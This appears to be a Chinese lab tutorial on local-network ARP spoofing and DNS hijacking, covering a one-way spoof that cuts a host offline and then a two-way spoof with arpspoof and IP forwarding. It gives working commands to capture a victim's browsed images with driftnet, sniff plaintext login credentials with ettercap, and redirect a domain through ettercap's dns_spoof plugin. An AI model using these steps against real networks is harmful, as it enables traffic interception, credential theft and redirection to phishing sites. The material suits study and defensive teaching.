【网安-Web渗透测试-内网渗透】局域网ARP攻击与DNS劫持

目录

一、概念

1、基本概念

  1. 局域网 LAN
    在住宅、校园、办公楼等有限区域,互联多台计算机及设备;同网段下不同设备、不同系统可直接互通。
  2. ARP 地址解析协议
    核心作用是将 IP 地址解析映射为 MAC 地址。局域网通信需同时封装源目 IP、源目 MAC 地址,数据包按 OSI 模型逐层封装后传输。
  3. MAC 地址
    又称物理 / 硬件地址,是网络设备全球唯一标识,出厂固化在网卡中。共 6 字节十六进制,前 3 字节为厂商编号(IEEE 分配),后 3 字节为设备序列号,默认全球唯一。
  4. OSI七层模型

    OSI七层模型的数据传输详解:

①应用层数据封装,将封装好的数据传输到传输层;

②传输层将应用层传递下来的数据包添加上相应的TCP头部信息(源端口、目的端口)后传递给网络层;

③网络层收到传输层传递的数据包后添加上相应的IP信息(源IP、目的IP)后将数据包传递给数据链路层;

④数据链路层收到数据包后添加上相应的Ethernet头部信息(源MAC地址、目的MAC地址)和FCS帧尾后将数 据帧传递给物理层;

⑤物理层收到数据包之后根据物理介质的不同,负责将数字信号转换成电信号、光信号、电磁波信号等;

⑥转换完成的信号在物理介质(网线,光纤,空气)中开始传递。

2、ARP欺骗图解

3、查看arp缓存表

局域网内两台主机在互相通信的过程中,会互相交换自己的IP地址和MAC地址,然后存储到本地的ARP缓存表中方便后续通信。

bash 复制代码
C:> arp -a

二、运行环境

1、目标主机

名称
操作系统 Windows 10
IP 192.168.179.162

2、攻击机1

名称
操作系统 Windows
IP 192.168.179.1

3、攻击机2

名称
操作系统 Kali Linux 2023.4
IP 192.168.179.128

4、WebServer

名称
操作系统 Windows Server 2008
IP 192.168.179.31

备注:WebServer可以时自己搭建的Web服务器。

三、局域网内ARP攻击

1、ARP单向欺骗

可对局域网目标主机进行欺骗,使其断网。单向欺骗能欺骗局域网内单台设备,也可欺骗网关;欺骗网关后,全网主机都会断网。与之对应还有双向欺骗模式。

Step1:开启目标主机,并查看是否能正常访问互联网。

Step2 :开启科来网络分析系统(下载来源),"实时分析"模块选择对应的局域网

Step3 :打开"工具"界面的MAC地址扫描器,得到目标主机的MAC地址

检测结果:

类型 IP地址 MAC地址 网卡厂商
目标地址 192.168.179.162 00:0C:29:3E:61:D2 VMware, Inc.
网关地址 192.168.179.2 00-50-56-EB-0F-0A VMware, Inc.
科来运行地址 192.168.179.1 00:50:56:C0:00:08 VMware, Inc.

Step4:点击"数据包生成器",添加ARP数据包

Step5:在目的MAC地址和目的IP中输入目标主机的IP和MAC地址,源MAC地址任意输即可,源IP输入网关的IP地址。

输入前:

输入后:

①目的MAC地址:对谁攻击就填谁的MAC地址;

②源地址:随意写(避免被攻击方分析还原);

③目标IP地址:对谁攻击就填谁的IP地址;

④源IP地址:网关的IP地址(欺骗目标主机自己是网关)。

Step6:点击发送,勾选"突发模式"和"循环发送"(循环次数改为0);点击"选择"选择对应的网卡

Step7:点击"开始",即可发起攻击

目标主机已经断网!点击"停止"(停止ARP攻击)后,目标主机可恢复网络。

因此,单向欺骗也叫断网攻击。通过对比ARP欺骗前后状态,发现网关地址(192.168.179.2)的物理地址(MAC)不一样了。

2、ARP双向欺骗

双向欺骗属于中间人攻击,攻击机劫持主机与网关的双向流量。除流量劫持外,还可进行 DNS 劫持,修改域名解析结果,将用户访问的网页跳转至钓鱼网站。

攻击机双向伪造 ARP 包,欺骗目标机与网关的互信关系,同时开启路由转发,使目标机流量全部流经攻击机,实现中间人嗅探。

Step1:安装arpspoof(Kali中运行)

bash 复制代码
# 下载 Kali 密钥
$ sudo wget -q -O - https://archive.kali.org/archive-key.asc | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/kali-archive-keyring.gpg
# 更新软件源
$ sudo apt clean && sudo apt update
# 安装 dsniff(包含 arpspoof)
$ sudo apt install dsniff -y --fix-missing

Step2:查看攻击机kali的MAC地址

bash 复制代码
$ ip a

攻击机Kali的信息:

①MAC地址:00:0c:29:6b:18:b2

②IP地址:192.168.179.128

③网卡名称:eth0

Step3:用arpspoof进行双向欺骗攻击

bash 复制代码
# 调用arpspoof对目标主机(192.168.179.162)和网关(192.168.179.2)进行双向欺骗
$ sudo arpspoof -i eth0 -t 192.168.179.162 -r 192.168.179.2

对比欺骗前后的MAC地址:

说明:在Kali中将欺骗指令按Ctrl+C停止。当停止欺骗后,目标主机能恢复正常。

Step4:开启端口转发功能,并再次实施ARP欺骗攻击

bash 复制代码
#开启ip转发,关闭的话把1改为0
$ sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"

#查看端口转发是否成功,如果显示1则表示开启成功,显示0则开启失败
$ cat /proc/sys/net/ipv4/ip_forward

# 调用arpspoof对目标主机(192.168.179.162)和网关(192.168.179.2)进行双向欺骗
$ sudo arpspoof -i eth0 -t 192.168.179.162 -r 192.168.179.2

说明:此时靶机可以访问外网,但是靶机的ARP缓存表中的网关MAC地址已经变成了攻击机kali的MAC地址。

3、ARP欺骗------抓取图片

Step1:开启端口转发,并开启arp欺骗

bash 复制代码
#开启ip转发,关闭的话把1改为0
$ sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"

# 调用arpspoof对目标主机(192.168.179.162)和网关(192.168.179.2)进行双向欺骗
$ sudo arpspoof -i eth0 -t 192.168.179.162 -r 192.168.179.2

Step2:安装driftnet

bash 复制代码
$ sudo apt install driftnet -y

Step3:开启新的shell执行命令,该命令会自动打开一个shell窗口并获取目的主机所浏览的图片

命令格式:

bash 复制代码
$ driftnet -i <网卡名>
bash 复制代码
$ sudo driftnet -i eth0
# 自定义路径
$ sudo driftnet -i eth0 -a -d /home/kali

相关参数解读:

  • -b:捕获到新的图片时发出嘟嘟声
  • -i:interface选择监听接口
  • -f:file读取一个指定pcap数据包中的图片
  • -p:不让所监听的接口使用混杂模式
  • -a:后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)
  • -m:number指定保存图片数的数目
  • -d:directory指定保存图片的路径
  • -x:prefix指定保存图片的前缀名

Step4:在目标机中的浏览器中浏览图片

当目标机图片被浏览时,在kali中,会自动保存图片到本地。

备注:此处为HTTP协议方式;当图片地址是HTTPS方式时,在kali中无任何反应。

4、ARP欺骗------获取账号密码

Ettercap 是基于 ARP 欺骗的局域网嗅探工具,适用于交换网络。可抓取局域网内明文传输数据,检测通信安全,拦截泄露的账号密码等敏感信息。

Step1:找一个网站(http协议的),且支持输入用户名和密码登录

httpbin.org HTTP Basic 认证(简单弹框登录)

bash 复制代码
http://httpbin.org/basic-auth/user/passwd

Step2:开启对网卡的流量监控

bash 复制代码
# 监控eth0网卡的流量
$ sudo ettercap -Tq -i eth0

参数说明:

  • -T文本模式运行
  • -q安静模式
  • -i网卡,后接网卡名

Step3再次访问网站------httpbin.org HTTP Basic 认证

  • 账号:user
  • 密码:passwd

弹出浏览器原生登录框,Base64 明文,ettercap/Wireshark 都能轻松解码。


Step4:在kali中查看登录的用户和密码信息

四、DNS劫持

Step1:修改DNS配置文件

bash 复制代码
$ sudo vim /etc/ettercap/etter.dns

# 添加以下字段:
www.baidu.com    A    192.168.179.31

Step2:打开kali机的ettercap工具

bash 复制代码
$ sudo ettercap -G

Step3:将目标主机和网关分别添加到Target1和Target2中

说明:因双向欺骗的缘故,需添加两个组,即网关为一组,目标主机为二组。

Step4:开启插件


Step5 :选择DNS欺骗插件,点击开始按钮

Step5:在目标机中清空目标机的 DNS 缓存

bash 复制代码
C:\> ipconfig /flushdns

Step6:访问目标机,验证劫持是否成功

bash 复制代码
# 查看DNS是否被劫持
C:\> ping www.baidu.com

总结

通过 ARP 中间人欺骗配合 ettercap 的 dns_spoof 插件,目标机访问或 ping 百度域名时,域名解析结果被篡改,流量被劫持到攻击者指定的 192.168.179.31。

相关推荐
pencek1 小时前
Hack-The-Box-Facts
网络安全
想唱rap1 小时前
传输层协议TCP
linux·运维·服务器·网络·c++·tcp/ip
曦夜日长2 小时前
Linux系统篇,权限(二):缺省权限、最终权限的计算、文件隔离的两种方式
linux·运维·服务器
许彰午2 小时前
政务远程帮办部署踩坑实录——从互联网到政务外网
开发语言·网络·政务
kebidaixu2 小时前
OK3568开发板更新Ubuntu22.04方法总结
linux·运维·服务器
一只小白0003 小时前
一篇讲清TCP的三次握手&四次挥手
服务器·网络·tcp/ip
Mike117.3 小时前
GBase 8a 物化视图依赖和 DDL 风险排查记录
java·服务器·前端
tang777893 小时前
2026年国内代理IP服务商横向测评:企业级爬虫如何选型?
运维·服务器·网络·爬虫·python·代理
上海云盾-小余3 小时前
网站木马植入原理与彻底清除、长效防御方案
网络·网络协议·tcp/ip·系统安全